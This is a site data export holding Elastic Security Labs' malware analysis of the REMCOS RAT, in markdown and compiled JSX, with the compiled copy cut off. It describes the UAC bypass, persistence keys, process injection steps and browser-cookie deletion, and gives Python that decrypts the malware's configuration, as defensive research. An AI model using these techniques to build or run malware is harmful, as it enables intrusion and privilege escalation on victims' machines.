x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Dissecting REMCOS RAT: An in-depth analysis of a widespread 2024 malware, Part One","slug":"dissecting-remcos-rat-part-one","date":"2024-04-24","description":"This malware research article describes the REMCOS implant at a high level, and provides background for future articles in this multipart series.","image":"Security Labs Images 36.jpg","subtitle":"Part one: Introduction to REMCOS and diving into its initialization procedure","tags":["malware-analysis","remcos"],"body":{"raw":"\nIn the first article in this multipart series, malware researchers on the Elastic Security Labs team give a short introduction about the REMCOS threat and dive into the first half of its execution flow, from loading its configuration to cleaning the infected machine web browsers.\n\n## Introduction\n\nElastic Security Labs continues its examination of high-impact threats, focusing on the internal complexities of REMCOS version 4.9.3 Pro (November 26, 2023).\n\nDeveloped by [Breaking-Security](https://breakingsecurity.net/), REMCOS is a piece of software that began life as a red teaming tool but has since been adopted by threats of all kinds targeting practically every sector.\n\nWhen we performed our analysis in mid-January, it was the most prevalent malware family [reported by ANY.RUN](https://any.run/malware-trends/). Furthermore, it remains under active development, as evidenced by the [recent announcement](https://breakingsecurity.net/remcos/changelog/) of version 4.9.4's release by the company on March 9, 2024.\n\nAll the samples we analyzed were derived from the same REMCOS 4.9.3 Pro x86 build. The software is coded in C++ with intensive use of the `std::string` class for its string and byte-related operations.\n\nREMCOS is packed with a wide range of functionality, including evasion techniques, privilege escalation, process injection, recording capabilities, etc.\n\nThis article series provides an extensive analysis of the following:\n - Execution and capabilities\n - Detection and hunting strategies using Elastic’s ES|QL queries\n - Recovery of approximately 80% of its configuration fields\n - Recovery of about 90% of its C2 commands\n - Sample virtual addresses under each IDA Pro screenshot\n - And more!\n \n![REMCOS execution diagram](/assets/images/dissecting-remcos-rat-part-one/image77.png)\n\n\nFor any questions or feedback, feel free to reach out to us on social media [@elasticseclabs](https://twitter.com/elasticseclabs) or in the Elastic [Community Slack](https://elasticstack.slack.com).\n\n### Loading the configuration\n\nThe REMCOS configuration is stored in an encrypted blob within a resource named ```SETTINGS```. This name appears consistent across different versions of REMCOS.\n\n![REMCOS config stored in encrypted SETTINGS resource](/assets/images/dissecting-remcos-rat-part-one/image29.png)\n\n\nThe malware begins by loading the encrypted configuration blob from its resource section.\n\n![0x41B4A8 REMCOS loads its encrypted configuration from resources](/assets/images/dissecting-remcos-rat-part-one/image40.png)\n\n\nTo load the encrypted configuration, we use the following Python script and the [Lief](https://pypi.org/project/lief/) module.\n\n```\nimport lief\n\ndef read_encrypted_configuration(path: pathlib.Path) -\u003e bytes | None:\n\tif not (pe := lief.parse(path)):\n \t\treturn None\n\n\tfor first_level_child in pe.resources.childs:\n \t\tif first_level_child.id != 10:\n \t\tcontinue\n\n \tfor second_level_child in first_level_child.childs:\n \t\tif second_level_child.name == \"SETTINGS\":\n \t\t\treturn bytes(second_level_child.childs[0].content)\n```\n\nWe can confirm that version 4.9.3 maintains the same structure and decryption scheme as previously described by [Fortinet researchers](https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing):\n\n![Fortinet reported structure and decryption scheme](/assets/images/dissecting-remcos-rat-part-one/image55.png)\n\n\nWe refer to the “encrypted configuration” as the structure that contains the decryption key and the encrypted data blob, which appears as follows:\n\n```\nstruct ctf::EncryptedConfiguration\n{\nuint8_t key_size;\nuint8_t key[key_size];\nuint8_t data\n};\n```\n\nThe configuration is still decrypted using the RC4 algorithm, as seen in the following screenshot.\n\n![0x40F3C3 REMCOS decrypts its configuration using RC4](/assets/images/dissecting-remcos-rat-part-one/image53.png)\n\n\nTo decrypt the configuration, we employ the following algorithm.\n\n```\ndef decrypt_encrypted_configuration(\n\tencrypted_configuration: bytes,\n) -\u003e tuple[bytes, bytes]:\n\tkey_size = int.from_bytes(encrypted_configuration[:1], \"little\")\n\tkey = encrypted_configuration[1 : 1 + key_size]\n\treturn key, ARC4.ARC4Cipher(key).decrypt(encrypted_configuration[key_size + 1 :])\n```\n\nThe configuration is used to initialize a global vector that we call ```g_configuration_vector``` by splitting it with the string ```\\x7c\\x1f\\x1e\\x1e\\x7c``` as a delimiter.\n\n![0x40EA16 Configuration string is split to initialize g_configuration_vector](/assets/images/dissecting-remcos-rat-part-one/image48.png)\n\n\nWe provide a detailed explanation of the configuration later in this series.\n\n### UAC Bypass\n\nWhen the ```enable_uac_bypass_flag``` (index ```0x2e```) is enabled in the configuration, REMCOS attempts a UAC bypass using a known COM-based technique.\n\n![0x40EC4C Calling the UAC Bypass feature when enabled in the configuration](/assets/images/dissecting-remcos-rat-part-one/image27.png)\n\n\nBeforehand, the REMCOS masquerades its process in an effort to avoid detection.\n\n![0x40766D UAC Bypass is wrapped between process masquerading and un-masquerading](/assets/images/dissecting-remcos-rat-part-one/image78.png)\n\n\nREMCOS modifies the PEB structure of the current process by replacing the image path and command line with the ```explorer.exe``` string while saving the original information in global variables for later use.\n\n![0x40742E Process PEB image path and command line set to explorer.exe](/assets/images/dissecting-remcos-rat-part-one/image14.png)\n\n\nThe well-known [technique](https://attack.mitre.org/techniques/T1218/003/) exploits the ```CoGetObject``` API to pass the ```Elevation:Administrator!new:``` moniker, along with the ```CMSTPLUA``` CLSID and ```ICMLuaUtil``` IID, to instantiate an elevated COM interface. REMCOS then uses the ```ShellExec()``` method of the interface to launch a new process with administrator privileges, and exit.\n\n![0x407607 calling ShellExec from an elevated COM interface](/assets/images/dissecting-remcos-rat-part-one/image85.png)\n\n\n![0x4074FD instantiating an elevated COM interface](/assets/images/dissecting-remcos-rat-part-one/image9.png)\n\n\nThis technique was previously documented in an Elastic Security Labs article from 2023: [Exploring Windows UAC Bypasses: Techniques and Detection Strategies](https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies).\n\nBelow is a recent screenshot of the detection of this exploit using the Elastic Defend agent.\n\n![UAC bypass exploit detection by the Elastic Defend agent disabling UAC](/assets/images/dissecting-remcos-rat-part-one/image25.png)\n\n\n### Disabling UAC\n\nWhen the ```disable_uac_flag``` is enabled in the configuration (index ```0x27```), REMCOS [disables UAC](https://attack.mitre.org/techniques/T1548/002/) in the registry by setting the ```HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\SystemEnableLUA``` value to ```0``` using the ```reg.exe``` Windows binary.\"\n\n![](/assets/images/dissecting-remcos-rat-part-one/image4.png)\n\n\n![](/assets/images/dissecting-remcos-rat-part-one/image12.png)\n\n\n## Install and persistence\n\nWhen ```enable_install_flag``` (index ```0x3```) is activated in the configuration, REMCOS will install itself on the host machine.\n\n![0x40ED8A Calling install feature when the flag is enabled in configuration](/assets/images/dissecting-remcos-rat-part-one/image50.png)\n\n\nThe installation path is constructed using the following configuration values:\n - ```install_parent_directory``` (index ```0x9```)\n - ```install_directory``` (```0x30```)\n - ```install_filename``` (```0xA```)\n\nThe malware binary is copied to ```{install_parent_directory}/{install_directory}/{install_filename}```. In this example, it is ```%ProgramData%\\Remcos\\remcos.exe```.\n\n![Sample detected in its installation directory](/assets/images/dissecting-remcos-rat-part-one/image42.png)\n\n\nIf the ```enable_persistence_directory_and_binary_hiding_flag``` (index ```0xC```) is enabled in the configuration, the install folder and the malware binary are set to super hidden (even if the user enables showing hidden files or folders the file is kept hidden by Windows to protect files with system attributes) and read-only by applying read-only, hidden, and system attributes to them.\n\n![0x40CFC3 REMCOS applies read-only and super hidden attributes to its install folder and files](/assets/images/dissecting-remcos-rat-part-one/image83.png)\n\n\n![Install files set as read-only and super hidden](/assets/images/dissecting-remcos-rat-part-one/image60.png)\n\n\nAfter installation, REMCOS establishes persistence in the registry depending on which of the following flags are enabled in the configuration:\n - ```enable_hkcu_run_persistence_flag``` (index ```0x4```)\n```HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\```\n - ```enable_hklm_run_persistence_flag``` (index ```0x5```)\n```HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\```\n - ```enable_hklm_policies_explorer_run_flag``` (index ```0x8```)\n```HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\```\n\n![0x40CD0D REMCOS establishing persistence registry keys](/assets/images/dissecting-remcos-rat-part-one/image47.png)\n\n\nThe malware is then relaunched from the installation folder using ```ShellExecuteW```, followed by termination of the initial process.\n\n![0x40D04B Relaunch of the REMCOS process after installation](/assets/images/dissecting-remcos-rat-part-one/image75.png)\n\n\n## Process injection\n\nWhen the ```enable_process_injection_flag``` (index ```0xD```) is enabled in the configuration, REMCOS injects itself into either a specified or a Windows process chosen from an hardcoded list to evade detection.\n\n![0x40EEB3 Calling process injection feature if enabled in the configuration](/assets/images/dissecting-remcos-rat-part-one/image15.png)\n\n\n![REMCOS running injected into iexplore.exe](/assets/images/dissecting-remcos-rat-part-one/image21.png)\n\n\nThe ```enable_process_injection_flag``` can be either a boolean or the name of a target process. When set to true (1), the injected process is chosen in a “best effort” manner from the following options:\n - ```iexplorer.exe```\n - ```ieinstal.exe```\n - ```ielowutil.exe```\n\n![](/assets/images/dissecting-remcos-rat-part-one/image73.png)\n\n\n*Note: there is only one injection method available in REMCOS, when we talk about process injection we are specifically referring to the method outlined here*\n\nREMCOS uses a classic ```ZwMapViewOfSection``` + ```SetThreadContext``` + ```ResumeThread``` technique for process injection. This involves copying itself into the injected binary via shared memory, mapped using ```ZwMapViewOfSection``` and then hijacking its execution flow to the REMCOS entry point using ```SetThreadContext``` and ```ResumeThread``` methods.\n\nIt starts by creating the target process in suspended mode using the ```CreateProcessW``` API and retrieving its thread context using the ```GetThreadContext``` API.\n\n![0x418217 Creation of target process suspended mode](/assets/images/dissecting-remcos-rat-part-one/image97.png)\n\n\nThen, it creates a shared memory using the ```ZwCreateSection``` API and maps it into the target process using the ```ZwMapViewOfSection``` API, along with the handle to the remote process.\n\n![0x418293 Creating of the shared memory](/assets/images/dissecting-remcos-rat-part-one/image66.png)\n\n\n![0x41834C Mapping of the shared memory in the target process](/assets/images/dissecting-remcos-rat-part-one/image43.png)\n\n\nThe binary is next loaded into the remote process by copying its header and sections into shared memory.\n\n![0x41836F Mapping the PE in the shared memory using ```memmove```](/assets/images/dissecting-remcos-rat-part-one/image90.png)\n\n\nRelocations are applied if necessary. Then, the PEB ```ImageBaseAddress``` is fixed using the ```WriteProcessMemory``` API. Subsequently, the thread context is set with a new entry point pointing to the REMCOS entry point, and process execution resumes.\n\n![0x41840B Hijacking process entry point to REMCOS entry point and resuming the process](/assets/images/dissecting-remcos-rat-part-one/image34.png)\n\n\nBelow is the detection of this process injection technique by our agent:\n\n![Process injection alert](/assets/images/dissecting-remcos-rat-part-one/image54.png)\n\n\n![Process injection process tree](/assets/images/dissecting-remcos-rat-part-one/image59.png)\n\n\n## Setting up logging mode\n\nREMCOS has three logging mode values that can be selected with the ```logging_mode``` (index ```0x28```) field of the configuration:\n - 0: No logging \n - 1: Start minimized in tray icon \n - 2: Console logging\n\n![0x40EFA3 Logging mode configured from settings](/assets/images/dissecting-remcos-rat-part-one/image39.png)\n\n\nSetting this field to 2 enables the console, even when process injection is enabled, and exposes additional information.\n\n![REMCOS console displayed while injected into iexplore.exe](/assets/images/dissecting-remcos-rat-part-one/image71.png)\n\n\n## Cleaning browsers\n\nWhen the ```enable_browser_cleaning_on_startup_flag``` (index ```0x2B```) is enabled, REMCOS will delete cookies and login information from the installed web browsers on the host. \n\n![0x40F1CC Calling browser cleaning feature when enabled in the configuration](/assets/images/dissecting-remcos-rat-part-one/image5.png)\n\n\nAccording to the [official documentation](https://breakingsecurity.net/wp-content/uploads/dlm_uploads/2018/07/Remcos_Instructions_Manual_rev22.pdf) the goal of this capability is to increase the system security against password theft:\n\n![](/assets/images/dissecting-remcos-rat-part-one/image76.png)\n\n\nCurrently, the supported browsers are Internet Explorer, Firefox, and Chrome.\n\n![0x40C00C Supported browsers for cleaning features](/assets/images/dissecting-remcos-rat-part-one/image7.png)\n\n\nThe cleaning process involves deleting cookies and login files from browsers' known directory paths using the ```FindFirstFileA```, ```FindNextFileA```, and ```DeleteFileA``` APIs:\n\n![0x40BD37 Cleaning Firefox cookies 1/2](/assets/images/dissecting-remcos-rat-part-one/image56.png)\n\n\n![0x40BD37 Cleaning Firefox cookies 2/2](/assets/images/dissecting-remcos-rat-part-one/image74.png)\n\n\nWhen the job is completed, REMCOS prints a message to the console.\n\n![REMCOS printing success message after cleaning browsers](/assets/images/dissecting-remcos-rat-part-one/image96.png)\n\n\nIt's worth mentioning two related fields in the configuration:\n - ```enable_browser_cleaning_only_for_the_first_run_flag``` (index ```0x2C```)\n - ```browser_cleaning_sleep_time_in_minutes``` (index ```0x2D```)\n\nThe ```browser_cleaning_sleep_time_in_minutes``` configuration value determines how much time REMCOS will sleep before performing the job.\n\n![0x40C162 Sleeping before performing browser cleaning job](/assets/images/dissecting-remcos-rat-part-one/image13.png)\n\n\nWhen ```enable_browser_cleaning_only_for_the_first_run_flag``` is enabled, the cleaning will occur only at the first run of REMCOS. Afterward, the ```HKCU/SOFTWARE/{mutex}/FR``` registry value is set.\n\nOn subsequent runs, the function directly returns if the value exists and is set in the registry.\n\n![](/assets/images/dissecting-remcos-rat-part-one/image67.png)\n\n\nThat’s the end of the first article. The second part will cover the second half of REMCOS' execution flow, starting from its watchdog to the first communication with its C2.","code":"var Component=(()=\u003e{var h=Object.create;var s=Object.defineProperty;var g=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var m=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var u=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),w=(n,e)=\u003e{for(var t in e)s(n,t,{get:e[t],enumerable:!0})},o=(n,e,t,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of p(e))!f.call(n,r)\u0026\u0026r!==t\u0026\u0026s(n,r,{get:()=\u003ee[r],enumerable:!(a=g(e,r))||a.enumerable});return n};var y=(n,e,t)=\u003e(t=n!=null?h(m(n)):{},o(e||!n||!n.__esModule?s(t,\"default\",{value:n,enumerable:!0}):t,n)),b=n=\u003eo(s({},\"__esModule\",{value:!0}),n);var l=u((v,c)=\u003e{c.exports=_jsx_runtime});var S={};w(S,{default:()=\u003eC,frontmatter:()=\u003ex});var i=y(l()),x={title:\"Dissecting REMCOS RAT: An in-depth analysis of a widespread 2024 malware, Part One\",slug:\"dissecting-remcos-rat-part-one\",date:\"2024-04-24\",subtitle:\"Part one: Introduction to REMCOS and diving into its initialization procedure\",description:\"This malware research article describes the REMCOS implant at a high level, and provides background for future articles in this multipart series.\",author:[{slug:\"cyril-francois\"},{slug:\"samir-bousseaden\"}],image:\"Security Labs Images 36.jpg\",category:[{slug:\"malware-analysis\"}],tags:[\"malware-analysis\",\"remcos\"]};function d(n){let e=Object.assign({p:\"p\",h2:\"h2\",a:\"a\",code:\"code\",ul:\"ul\",li:\"li\",img:\"img\",h3:\"h3\",pre:\"pre\",em:\"em\"},n.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.p,{children:\"In the first article in this multipart series, malware researchers on the Elastic Security Labs team give a short introduction about the REMCOS threat and dive into the first half of its execution flow, from loading its configuration to cleaning the infected machine web browsers.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"introduction\",children:\"Introduction\"}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic Security Labs continues its examination of high-impact threats, focusing on the internal complexities of REMCOS version 4.9.3 Pro (November 26, 2023).\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Developed by \",(0,i.jsx)(e.a,{href:\"https://breakingsecurity.net/\",rel:\"nofollow\",children:\"Breaking-Security\"}),\", REMCOS is a piece of software that began life as a red teaming tool but has since been adopted by threats of all kinds targeting practically every sector.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"When we performed our analysis in mid-January, it was the most prevalent malware family \",(0,i.jsx)(e.a,{href:\"https://any.run/malware-trends/\",rel:\"nofollow\",children:\"reported by ANY.RUN\"}),\". Furthermore, it remains under active development, as evidenced by the \",(0,i.jsx)(e.a,{href:\"https://breakingsecurity.net/remcos/changelog/\",rel:\"nofollow\",children:\"recent announcement\"}),\" of version 4.9.4's release by the company on March 9, 2024.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"All the samples we analyzed were derived from the same REMCOS 4.9.3 Pro x86 build. The software is coded in C++ with intensive use of the \",(0,i.jsx)(e.code,{children:\"std::string\"}),\" class for its string and byte-related operations.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"REMCOS is packed with a wide range of functionality, including evasion techniques, privilege escalation, process injection, recording capabilities, etc.\"}),`\n`,(0,i.jsx)(e.p,{children:\"This article series provides an extensive analysis of the following:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Execution and capabilities\"}),`\n`,(0,i.jsx)(e.li,{children:\"Detection and hunting strategies using Elastic\\u2019s ES|QL queries\"}),`\n`,(0,i.jsx)(e.li,{children:\"Recovery of approximately 80% of its configuration fields\"}),`\n`,(0,i.jsx)(e.li,{children:\"Recovery of about 90% of its C2 commands\"}),`\n`,(0,i.jsx)(e.li,{children:\"Sample virtual addresses under each IDA Pro screenshot\"}),`\n`,(0,i.jsx)(e.li,{children:\"And more!\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image77.png\",alt:\"REMCOS execution diagram\",width:\"568\",height:\"531\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"For any questions or feedback, feel free to reach out to us on social media \",(0,i.jsx)(e.a,{href:\"https://twitter.com/elasticseclabs\",rel:\"nofollow\",children:\"@elasticseclabs\"}),\" or in the Elastic \",(0,i.jsx)(e.a,{href:\"https://elasticstack.slack.com\",rel:\"nofollow\",children:\"Community Slack\"}),\".\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"loading-the-configuration\",children:\"Loading the configuration\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The REMCOS configuration is stored in an encrypted blob within a resource named \",(0,i.jsx)(e.code,{children:\"SETTINGS\"}),\". This name appears consistent across different versions of REMCOS.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image29.png\",alt:\"REMCOS config stored in encrypted SETTINGS resource\",width:\"801\",height:\"167\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The malware begins by loading the encrypted configuration blob from its resource section.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image40.png\",alt:\"0x41B4A8 REMCOS loads its encrypted configuration from resources\",width:\"629\",height:\"259\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"To load the encrypted configuration, we use the following Python script and the \",(0,i.jsx)(e.a,{href:\"https://pypi.org/project/lief/\",rel:\"nofollow\",children:\"Lief\"}),\" module.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`import lief\n\ndef read_encrypted_configuration(path: pathlib.Path) -\u003e bytes | None:\n\tif not (pe := lief.parse(path)):\n \t\treturn None\n\n\tfor first_level_child in pe.resources.childs:\n \t\tif first_level_child.id != 10:\n \t\tcontinue\n\n \tfor second_level_child in first_level_child.childs:\n \t\tif second_level_child.name == \"SETTINGS\":\n \t\t\treturn bytes(second_level_child.childs[0].content)\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"We can confirm that version 4.9.3 maintains the same structure and decryption scheme as previously described by \",(0,i.jsx)(e.a,{href:\"https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing\",rel:\"nofollow\",children:\"Fortinet researchers\"}),\":\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image55.png\",alt:\"Fortinet reported structure and decryption scheme\",width:\"1109\",height:\"61\"})}),`\n`,(0,i.jsx)(e.p,{children:\"We refer to the \\u201Cencrypted configuration\\u201D as the structure that contains the decryption key and the encrypted data blob, which appears as follows:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`struct ctf::EncryptedConfiguration\n{\nuint8_t key_size;\nuint8_t key[key_size];\nuint8_t data\n};\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"The configuration is still decrypted using the RC4 algorithm, as seen in the following screenshot.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image53.png\",alt:\"0x40F3C3 REMCOS decrypts its configuration using RC4\",width:\"915\",height:\"438\"})}),`\n`,(0,i.jsx)(e.p,{children:\"To decrypt the configuration, we employ the following algorithm.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`def decrypt_encrypted_configuration(\n\tencrypted_configuration: bytes,\n) -\u003e tuple[bytes, bytes]:\n\tkey_size = int.from_bytes(encrypted_configuration[:1], \"little\")\n\tkey = encrypted_configuration[1 : 1 + key_size]\n\treturn key, ARC4.ARC4Cipher(key).decrypt(encrypted_configuration[key_size + 1 :])\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The configuration is used to initialize a global vector that we call \",(0,i.jsx)(e.code,{children:\"g_configuration_vector\"}),\" by splitting it with the string \",(0,i.jsx)(e.code,{children:\"\\\\x7c\\\\x1f\\\\x1e\\\\x1e\\\\x7c\"}),\" as a delimiter.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image48.png\",alt:\"0x40EA16 Configuration string is split to initialize g_configuration_vector\",width:\"738\",height:\"177\"})}),`\n`,(0,i.jsx)(e.p,{children:\"We provide a detailed explanation of the configuration later in this series.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"uac-bypass\",children:\"UAC Bypass\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"When the \",(0,i.jsx)(e.code,{children:\"enable_uac_bypass_flag\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x2e\"}),\") is enabled in the configuration, REMCOS attempts a UAC bypass using a known COM-based technique.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image27.png\",alt:\"0x40EC4C Calling the UAC Bypass feature when enabled in the configuration\",width:\"794\",height:\"49\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Beforehand, the REMCOS masquerades its process in an effort to avoid detection.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image78.png\",alt:\"0x40766D UAC Bypass is wrapped between process masquerading and un-masquerading\",width:\"515\",height:\"139\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"REMCOS modifies the PEB structure of the current process by replacing the image path and command line with the \",(0,i.jsx)(e.code,{children:\"explorer.exe\"}),\" string while saving the original information in global variables for later use.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image14.png\",alt:\"0x40742E Process PEB image path and command line set to explorer.exe\",width:\"698\",height:\"295\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The well-known \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1218/003/\",rel:\"nofollow\",children:\"technique\"}),\" exploits the \",(0,i.jsx)(e.code,{children:\"CoGetObject\"}),\" API to pass the \",(0,i.jsx)(e.code,{children:\"Elevation:Administrator!new:\"}),\" moniker, along with the \",(0,i.jsx)(e.code,{children:\"CMSTPLUA\"}),\" CLSID and \",(0,i.jsx)(e.code,{children:\"ICMLuaUtil\"}),\" IID, to instantiate an elevated COM interface. REMCOS then uses the \",(0,i.jsx)(e.code,{children:\"ShellExec()\"}),\" method of the interface to launch a new process with administrator privileges, and exit.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image85.png\",alt:\"0x407607 calling ShellExec from an elevated COM interface\",width:\"705\",height:\"606\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image9.png\",alt:\"0x4074FD instantiating an elevated COM interface\",width:\"669\",height:\"441\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"This technique was previously documented in an Elastic Security Labs article from 2023: \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies\",rel:\"nofollow\",children:\"Exploring Windows UAC Bypasses: Techniques and Detection Strategies\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Below is a recent screenshot of the detection of this exploit using the Elastic Defend agent.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image25.png\",alt:\"UAC bypass exploit detection by the Elastic Defend agent disabling UAC\",width:\"1129\",height:\"498\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"disabling-uac\",children:\"Disabling UAC\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"When the \",(0,i.jsx)(e.code,{children:\"disable_uac_flag\"}),\" is enabled in the configuration (index \",(0,i.jsx)(e.code,{children:\"0x27\"}),\"), REMCOS \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1548/002/\",rel:\"nofollow\",children:\"disables UAC\"}),\" in the registry by setting the \",(0,i.jsx)(e.code,{children:\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\SystemEnableLUA\"}),\" value to \",(0,i.jsx)(e.code,{children:\"0\"}),\" using the \",(0,i.jsx)(e.code,{children:\"reg.exe\"}),' Windows binary.\"']}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image4.png\",alt:\"\",width:\"740\",height:\"48\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image12.png\",alt:\"\",width:\"863\",height:\"183\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"install-and-persistence\",children:\"Install and persistence\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"When \",(0,i.jsx)(e.code,{children:\"enable_install_flag\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x3\"}),\") is activated in the configuration, REMCOS will install itself on the host machine.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image50.png\",alt:\"0x40ED8A Calling install feature when the flag is enabled in configuration\",width:\"830\",height:\"440\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The installation path is constructed using the following configuration values:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:\"install_parent_directory\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x9\"}),\")\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:\"install_directory\"}),\" (\",(0,i.jsx)(e.code,{children:\"0x30\"}),\")\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:\"install_filename\"}),\" (\",(0,i.jsx)(e.code,{children:\"0xA\"}),\")\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"The malware binary is copied to \",(0,i.jsx)(e.code,{children:\"{install_parent_directory}/{install_directory}/{install_filename}\"}),\". In this example, it is \",(0,i.jsx)(e.code,{children:\"%ProgramData%\\\\Remcos\\\\remcos.exe\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image42.png\",alt:\"Sample detected in its installation directory\",width:\"430\",height:\"310\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"If the \",(0,i.jsx)(e.code,{children:\"enable_persistence_directory_and_binary_hiding_flag\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0xC\"}),\") is enabled in the configuration, the install folder and the malware binary are set to super hidden (even if the user enables showing hidden files or folders the file is kept hidden by Windows to protect files with system attributes) and read-only by applying read-only, hidden, and system attributes to 